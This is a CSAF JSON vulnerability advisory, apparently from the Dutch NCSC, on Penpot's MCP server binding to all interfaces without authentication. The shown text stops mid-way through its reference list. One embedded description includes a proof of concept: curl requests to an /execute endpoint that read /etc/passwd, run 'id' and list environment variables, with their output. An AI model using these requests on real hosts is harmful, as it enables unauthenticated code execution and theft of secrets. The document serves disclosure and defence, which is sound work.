{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-100868",
        "tracking": {
            "current_release_date": "2026-10-04T00:27:05.230286Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-100868",
            "initial_release_date": "2026-09-27T13:25:00.689673Z",
            "revision_history": [
                {
                    "date": "2026-09-27T13:25:00.689673Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (6).| CWES updated (1)."
                },
                {
                    "date": "2026-09-27T13:25:10.027037Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-09-27T15:34:57.367263Z",
                    "number": "3",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-28T06:37:31.408441Z",
                    "number": "4",
                    "summary": "Source connected.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-09-28T06:37:42.386572Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-28T06:47:17.863192Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (18).| Products connected (82).| References created (8).| CWES updated (1)."
                },
                {
                    "date": "2026-09-28T06:47:26.481328Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-28T12:41:43.826595Z",
                    "number": "8",
                    "summary": "CVSS created.| CWES created (1).| Products created (3).| References created (6).| Description created for source.| Unknown change.| Product Identifiers created (1)."
                },
                {
                    "date": "2026-09-28T12:41:45.665267Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-09-28T16:38:47.137862Z",
                    "number": "10",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-09-29T06:12:44.811240Z",
                    "number": "11",
                    "summary": "Products removed (28)."
                },
                {
                    "date": "2026-09-29T16:13:14.171321Z",
                    "number": "12",
                    "summary": "EPSS created.| Unknown change."
                },
                {
                    "date": "2026-09-29T16:13:21.161988Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-10-04T00:27:01.740136Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "14"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:semver/<=2.15.4",
                                "product": {
                                    "name": "vers:semver/<=2.15.4",
                                    "product_id": "CSAFPID-9478856"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<2.15.0",
                                "product": {
                                    "name": "vers:unknown/>=0|<2.15.0",
                                    "product_id": "CSAFPID-7372340"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "@penpot/mcp"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:semver/<2.18.0",
                                "product": {
                                    "name": "vers:semver/<2.18.0",
                                    "product_id": "CSAFPID-9478857"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.0.0",
                                "product": {
                                    "name": "vers:unknown/0.0.0",
                                    "product_id": "CSAFPID-5723633"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.1.0",
                                "product": {
                                    "name": "vers:unknown/0.1.0",
                                    "product_id": "CSAFPID-5723634"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.0.0-alpha",
                                "product": {
                                    "name": "vers:unknown/1.0.0-alpha",
                                    "product_id": "CSAFPID-5723635"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.1.0-alpha",
                                "product": {
                                    "name": "vers:unknown/1.1.0-alpha",
                                    "product_id": "CSAFPID-5723636"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.14.0-beta",
                                "product": {
                                    "name": "vers:unknown/1.14.0-beta",
                                    "product_id": "CSAFPID-5723657"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.14.1-beta",
                                "product": {
                                    "name": "vers:unknown/1.14.1-beta",
                                    "product_id": "CSAFPID-5723658"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.2.0-alpha",
                                "product": {
                                    "name": "vers:unknown/1.2.0-alpha",
                                    "product_id": "CSAFPID-5723681"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.3.0-alpha",
                                "product": {
                                    "name": "vers:unknown/1.3.0-alpha",
                                    "product_id": "CSAFPID-5723682"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.4.0-alpha",
                                "product": {
                                    "name": "vers:unknown/1.4.0-alpha",
                                    "product_id": "CSAFPID-5723683"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.4.0-dev",
                                "product": {
                                    "name": "vers:unknown/1.4.0-dev",
                                    "product_id": "CSAFPID-5723684"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.4.1-alpha",
                                "product": {
                                    "name": "vers:unknown/1.4.1-alpha",
                                    "product_id": "CSAFPID-5723685"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.5.0-alpha",
                                "product": {
                                    "name": "vers:unknown/1.5.0-alpha",
                                    "product_id": "CSAFPID-5723686"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.5.1-alpha",
                                "product": {
                                    "name": "vers:unknown/1.5.1-alpha",
                                    "product_id": "CSAFPID-5723687"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.5.2-alpha",
                                "product": {
                                    "name": "vers:unknown/1.5.2-alpha",
                                    "product_id": "CSAFPID-5723688"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.5.3-alpha",
                                "product": {
                                    "name": "vers:unknown/1.5.3-alpha",
                                    "product_id": "CSAFPID-5723689"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.5.4-alpha",
                                "product": {
                                    "name": "vers:unknown/1.5.4-alpha",
                                    "product_id": "CSAFPID-5723690"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.6.0-alpha",
                                "product": {
                                    "name": "vers:unknown/1.6.0-alpha",
                                    "product_id": "CSAFPID-5723691"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.6.1-alpha",
                                "product": {
                                    "name": "vers:unknown/1.6.1-alpha",
                                    "product_id": "CSAFPID-5723692"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.6.2-alpha",
                                "product": {
                                    "name": "vers:unknown/1.6.2-alpha",
                                    "product_id": "CSAFPID-5723693"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.6.3-alpha",
                                "product": {
                                    "name": "vers:unknown/1.6.3-alpha",
                                    "product_id": "CSAFPID-5723694"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.6.4-alpha",
                                "product": {
                                    "name": "vers:unknown/1.6.4-alpha",
                                    "product_id": "CSAFPID-5723695"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.6.5-alpha",
                                "product": {
                                    "name": "vers:unknown/1.6.5-alpha",
                                    "product_id": "CSAFPID-5723696"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.7.0-alpha",
                                "product": {
                                    "name": "vers:unknown/1.7.0-alpha",
                                    "product_id": "CSAFPID-5723697"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.7.1-alpha",
                                "product": {
                                    "name": "vers:unknown/1.7.1-alpha",
                                    "product_id": "CSAFPID-5723698"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.7.2-alpha",
                                "product": {
                                    "name": "vers:unknown/1.7.2-alpha",
                                    "product_id": "CSAFPID-5723699"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.7.3-alpha",
                                "product": {
                                    "name": "vers:unknown/1.7.3-alpha",
                                    "product_id": "CSAFPID-5723700"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.7.4-alpha",
                                "product": {
                                    "name": "vers:unknown/1.7.4-alpha",
                                    "product_id": "CSAFPID-5723701"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.8.0-alpha",
                                "product": {
                                    "name": "vers:unknown/1.8.0-alpha",
                                    "product_id": "CSAFPID-5723702"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.8.1-alpha",
                                "product": {
                                    "name": "vers:unknown/1.8.1-alpha",
                                    "product_id": "CSAFPID-5723703"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.8.2-alpha",
                                "product": {
                                    "name": "vers:unknown/1.8.2-alpha",
                                    "product_id": "CSAFPID-5723704"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.9.0-alpha",
                                "product": {
                                    "name": "vers:unknown/1.9.0-alpha",
                                    "product_id": "CSAFPID-5723705"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.10.0-rc1",
                                "product": {
                                    "name": "vers:unknown/2.10.0-rc1",
                                    "product_id": "CSAFPID-5723732"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.14.0-rc1",
                                "product": {
                                    "name": "vers:unknown/2.14.0-rc1",
                                    "product_id": "CSAFPID-8851933"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.14.0-rc2",
                                "product": {
                                    "name": "vers:unknown/2.14.0-rc2",
                                    "product_id": "CSAFPID-8851932"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.14.0-rc3",
                                "product": {
                                    "name": "vers:unknown/2.14.0-rc3",
                                    "product_id": "CSAFPID-8851931"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.14.0-rc4",
                                "product": {
                                    "name": "vers:unknown/2.14.0-rc4",
                                    "product_id": "CSAFPID-8851930"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.15.0-rc1",
                                "product": {
                                    "name": "vers:unknown/2.15.0-rc1",
                                    "product_id": "CSAFPID-8949594"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.16.0",
                                "product": {
                                    "name": "vers:unknown/2.16.0",
                                    "product_id": "CSAFPID-8949582"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.16.0-rc1",
                                "product": {
                                    "name": "vers:unknown/2.16.0-rc1",
                                    "product_id": "CSAFPID-8949593"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.16.0-rc11",
                                "product": {
                                    "name": "vers:unknown/2.16.0-rc11",
                                    "product_id": "CSAFPID-8949584"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.16.0-rc13",
                                "product": {
                                    "name": "vers:unknown/2.16.0-rc13",
                                    "product_id": "CSAFPID-8949583"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.16.0-rc2",
                                "product": {
                                    "name": "vers:unknown/2.16.0-rc2",
                                    "product_id": "CSAFPID-8949592"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.16.0-rc3",
                                "product": {
                                    "name": "vers:unknown/2.16.0-rc3",
                                    "product_id": "CSAFPID-8949591"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.16.0-rc4",
                                "product": {
                                    "name": "vers:unknown/2.16.0-rc4",
                                    "product_id": "CSAFPID-8949590"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.16.0-rc5",
                                "product": {
                                    "name": "vers:unknown/2.16.0-rc5",
                                    "product_id": "CSAFPID-8949589"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.16.0-rc6",
                                "product": {
                                    "name": "vers:unknown/2.16.0-rc6",
                                    "product_id": "CSAFPID-8949588"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.16.0-rc7",
                                "product": {
                                    "name": "vers:unknown/2.16.0-rc7",
                                    "product_id": "CSAFPID-8949587"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.16.0-rc8",
                                "product": {
                                    "name": "vers:unknown/2.16.0-rc8",
                                    "product_id": "CSAFPID-8949586"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.16.0-rc9",
                                "product": {
                                    "name": "vers:unknown/2.16.0-rc9",
                                    "product_id": "CSAFPID-8949585"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.16.1-rc2",
                                "product": {
                                    "name": "vers:unknown/2.16.1-rc2",
                                    "product_id": "CSAFPID-8949581"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.17.0",
                                "product": {
                                    "name": "vers:unknown/2.17.0",
                                    "product_id": "CSAFPID-9477476"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.17.0-rc1",
                                "product": {
                                    "name": "vers:unknown/2.17.0-rc1",
                                    "product_id": "CSAFPID-8949580"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.17.0-rc3",
                                "product": {
                                    "name": "vers:unknown/2.17.0-rc3",
                                    "product_id": "CSAFPID-8949579"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.17.0-rc4",
                                "product": {
                                    "name": "vers:unknown/2.17.0-rc4",
                                    "product_id": "CSAFPID-8949578"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.17.0-rc5",
                                "product": {
                                    "name": "vers:unknown/2.17.0-rc5",
                                    "product_id": "CSAFPID-8949577"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.17.0-rc6",
                                "product": {
                                    "name": "vers:unknown/2.17.0-rc6",
                                    "product_id": "CSAFPID-8949576"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.17.1-rc1",
                                "product": {
                                    "name": "vers:unknown/2.17.1-rc1",
                                    "product_id": "CSAFPID-9477475"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.17.1-rc2",
                                "product": {
                                    "name": "vers:unknown/2.17.1-rc2",
                                    "product_id": "CSAFPID-9477474"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.17.1-rc3",
                                "product": {
                                    "name": "vers:unknown/2.17.1-rc3",
                                    "product_id": "CSAFPID-9477473"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.17.1-rc4",
                                "product": {
                                    "name": "vers:unknown/2.17.1-rc4",
                                    "product_id": "CSAFPID-9477472"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.17.1-rc5",
                                "product": {
                                    "name": "vers:unknown/2.17.1-rc5",
                                    "product_id": "CSAFPID-9477470"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.18.0-rc1",
                                "product": {
                                    "name": "vers:unknown/2.18.0-rc1",
                                    "product_id": "CSAFPID-9477471"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.18.0-rc2",
                                "product": {
                                    "name": "vers:unknown/2.18.0-rc2",
                                    "product_id": "CSAFPID-9477469"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.18.0-rc3",
                                "product": {
                                    "name": "vers:unknown/2.18.0-rc3",
                                    "product_id": "CSAFPID-9477468"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.18.0-rc4",
                                "product": {
                                    "name": "vers:unknown/2.18.0-rc4",
                                    "product_id": "CSAFPID-9477467"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.18.0-rc6",
                                "product": {
                                    "name": "vers:unknown/2.18.0-rc6",
                                    "product_id": "CSAFPID-9477466"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.18.0-rc7",
                                "product": {
                                    "name": "vers:unknown/2.18.0-rc7",
                                    "product_id": "CSAFPID-9477465"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.5.0-dev",
                                "product": {
                                    "name": "vers:unknown/2.5.0-dev",
                                    "product_id": "CSAFPID-5723811"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.5.0-rc1",
                                "product": {
                                    "name": "vers:unknown/2.5.0-rc1",
                                    "product_id": "CSAFPID-5723812"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.6.0-rc1",
                                "product": {
                                    "name": "vers:unknown/2.6.0-rc1",
                                    "product_id": "CSAFPID-5723831"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.7.0-rc1",
                                "product": {
                                    "name": "vers:unknown/2.7.0-rc1",
                                    "product_id": "CSAFPID-5723847"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/pre-lazy-loading",
                                "product": {
                                    "name": "vers:unknown/pre-lazy-loading",
                                    "product_id": "CSAFPID-5723881"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "penpot"
                    }
                ],
                "category": "vendor",
                "name": "penpot"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<=2.18.0",
                                "product": {
                                    "name": "vers:unknown/<=2.18.0",
                                    "product_id": "CSAFPID-9478855",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:kaleidos:penpot:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "penpot"
                    }
                ],
                "category": "vendor",
                "name": "kaleidos"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-100868",
            "cwe": {
                "id": "CWE-1327",
                "name": "Binding to an Unrestricted IP Address"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "Penpot before 2.18.0 binds the MCP server plugin WebSocket bridge to all network interfaces without authentication in single-user mode. Unauthenticated attackers on adjacent networks can connect to the WebSocket port to impersonate the Penpot browser plugin, intercept task payloads, and return forged results to the MCP client.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-100868"
                },
                {
                    "category": "description",
                    "text": "Penpot before 2.18.0 binds the MCP server plugin WebSocket bridge to all network interfaces without authentication in single-user mode. Unauthenticated attackers on adjacent networks can connect to the WebSocket port to impersonate the Penpot browser plugin, intercept task payloads, and return forged results to the MCP client.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-100868"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nThe MCP module's `ReplServer` binds to all interfaces (`0.0.0.0:4403`) and exposes a `/execute` endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main `PenpotMcpServer` was partially fixed for a similar binding issue (#8683), but `ReplServer.ts` was missed.\n\n### Details\n\n`mcp/packages/server/src/ReplServer.ts:89`:\n\n```typescript\nthis.server = this.app.listen(this.port, () => {\n    // NO HOST ARGUMENT — Express defaults to 0.0.0.0\n```\n\nCompare with `PenpotMcpServer.ts:301` which correctly binds to `this.host` (default `\"localhost\"`):\n\n```typescript\nthis.app.listen(this.port, this.host, async () => {\n```\n\nThe `/execute` endpoint at `ReplServer.ts:52-79`:\n\n```typescript\nthis.app.post(\"/execute\", async (req, res) => {\n    const { code } = req.body;\n    // No auth check. Executes code via PluginBridge.executePluginTask()\n    const task = new ExecuteCodePluginTask({ code });\n    const result = await this.pluginBridge.executePluginTask(task);\n```\n\nNo auth middleware, no token check, no nothing. POST JSON with a `code` field and it runs.\n\nThis was partially flagged in #8683 (March 2026), which noted that `PenpotMcpServer.ts` was binding to `0.0.0.0`. PR #8686 attempted a fix but was closed without merging, and it only touched `PenpotMcpServer.ts` and `vite.config.ts` — `ReplServer.ts` wasn't in the diff. On current develop, `ReplServer.ts` line 89 still calls `listen(this.port)` with no host argument.\n\n### PoC\n\nI ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.\n\n```bash\n$ node server.js\nREPL server started on port 4403\nBound to: :::4403\nAll interfaces: YES\n```\n\n**Unauthenticated code execution:**\n\n```bash\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"require(\\\"os\\\").hostname()\"}'\n{\"success\":true,\"result\":\"kali\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"require(\\\"fs\\\").readFileSync(\\\"/etc/passwd\\\",\\\"utf8\\\").split(\\\"\\\\n\\\").slice(0,3).join(\\\"\\\\n\\\")\"}'\n{\"success\":true,\"result\":\"root:x:0:0:root:/root:/usr/bin/zsh\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"require(\\\"child_process\\\").execSync(\\\"id\\\").toString()\"}'\n{\"success\":true,\"result\":\"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\\n\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"JSON.stringify(Object.keys(process.env).slice(0,5))\"}'\n{\"success\":true,\"result\":\"[\\\"SHELL\\\",\\\"SESSION_MANAGER\\\",\\\"WINDOWID\\\",\\\"QT_ACCESSIBILITY\\\",\\\"COLORTERM\\\"]\"}\n```\n\n**Binding verification:**\n\n```\n$ ss -tlnp | grep 4403\nLISTEN  0  511  *:4403  *:*  users:((\"node\",pid=696955,fd=21))\n```\n\nListening on `*:4403` — all interfaces.\n\n**Remote access from Docker container:**\n\n```bash\n$ docker exec penpot-backend curl -s http://172.18.0.1:4403/\nREPL Server - Penpot MCP (no auth)\n```\n\nReachable from any container on the Docker network.\n\n### Impact\n\nUnauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.\n\n### Suggested fix\n\nTwo lines:\n\n1. Add a `host` parameter to the listen call in `ReplServer.ts:89`:\n```typescript\nthis.server = this.app.listen(this.port, 'localhost', () => {\n```\n\n2. Add authentication to the `/execute` endpoint. Even a shared secret from an environment variable would be better than nothing.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-22qr-rp27-j9wm.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Penpot before 2.18.0 binds the MCP server plugin WebSocket bridge to all network interfaces without authentication in single-user mode. Unauthenticated attackers on adjacent networks can connect to the WebSocket port to impersonate the Penpot browser plugin, intercept task payloads, and return forged results to the MCP client.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-100868.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00257",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "5.3",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "4.7",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is product data available from source Cveprojectv5, Is related to CWE-749 (Exposed Dangerous Method or Function)",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "There is cwe data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-7372340",
                    "CSAFPID-5723633",
                    "CSAFPID-5723634",
                    "CSAFPID-5723635",
                    "CSAFPID-5723636",
                    "CSAFPID-5723657",
                    "CSAFPID-5723658",
                    "CSAFPID-5723681",
                    "CSAFPID-5723682",
                    "CSAFPID-5723683",
                    "CSAFPID-5723684",
                    "CSAFPID-5723685",
                    "CSAFPID-5723686",
                    "CSAFPID-5723687",
                    "CSAFPID-5723688",
                    "CSAFPID-5723689",
                    "CSAFPID-5723690",
                    "CSAFPID-5723691",
                    "CSAFPID-5723692",
                    "CSAFPID-5723693",
                    "CSAFPID-5723694",
                    "CSAFPID-5723695",
                    "CSAFPID-5723696",
                    "CSAFPID-5723697",
                    "CSAFPID-5723698",
                    "CSAFPID-5723699",
                    "CSAFPID-5723700",
                    "CSAFPID-5723701",
                    "CSAFPID-5723702",
                    "CSAFPID-5723703",
                    "CSAFPID-5723704",
                    "CSAFPID-5723705",
                    "CSAFPID-5723732",
                    "CSAFPID-5723811",
                    "CSAFPID-5723812",
                    "CSAFPID-5723831",
                    "CSAFPID-5723847",
                    "CSAFPID-5723881",
                    "CSAFPID-8851930",
                    "CSAFPID-8851931",
                    "CSAFPID-8851932",
                    "CSAFPID-8851933",
                    "CSAFPID-8949576",
                    "CSAFPID-8949577",
                    "CSAFPID-8949578",
                    "CSAFPID-8949579",
                    "CSAFPID-8949580",
                    "CSAFPID-8949581",
                    "CSAFPID-8949582",
                    "CSAFPID-8949583",
                    "CSAFPID-8949584",
                    "CSAFPID-8949585",
                    "CSAFPID-8949586",
                    "CSAFPID-8949587",
                    "CSAFPID-8949588",
                    "CSAFPID-8949589",
                    "CSAFPID-8949590",
                    "CSAFPID-8949591",
                    "CSAFPID-8949592",
                    "CSAFPID-8949593",
                    "CSAFPID-8949594",
                    "CSAFPID-9477465",
                    "CSAFPID-9477466",
                    "CSAFPID-9477467",
                    "CSAFPID-9477468",
                    "CSAFPID-9477469",
                    "CSAFPID-9477470",
                    "CSAFPID-9477471",
                    "CSAFPID-9477472",
                    "CSAFPID-9477473",
                    "CSAFPID-9477474",
                    "CSAFPID-9477475",
                    "CSAFPID-9477476",
                    "CSAFPID-9478855",
                    "CSAFPID-9478856",
                    "CSAFPID-9478857"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100868"
                },
                {
                    "category": "external",
                    "summary": "Source - ncscclear",
                    "url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-100868"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-100868.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-22qr-rp27-j9wm.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-100868"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; nvd",
                    "url": "https://github.com/penpot/penpot"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; nvd; osv",
                    "url": "https://github.com/penpot/penpot/blob/1d2c37e52c733f74017d90b0fd1ae2d074a5c33d/mcp/packages/server/src/PluginBridge.ts#L52"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; nvd; osv",
                    "url": "https://github.com/penpot/penpot/commit/b5274a44766d095247037be18c1d1918ac67ddeb"
                },
                {
                    "category": "external",
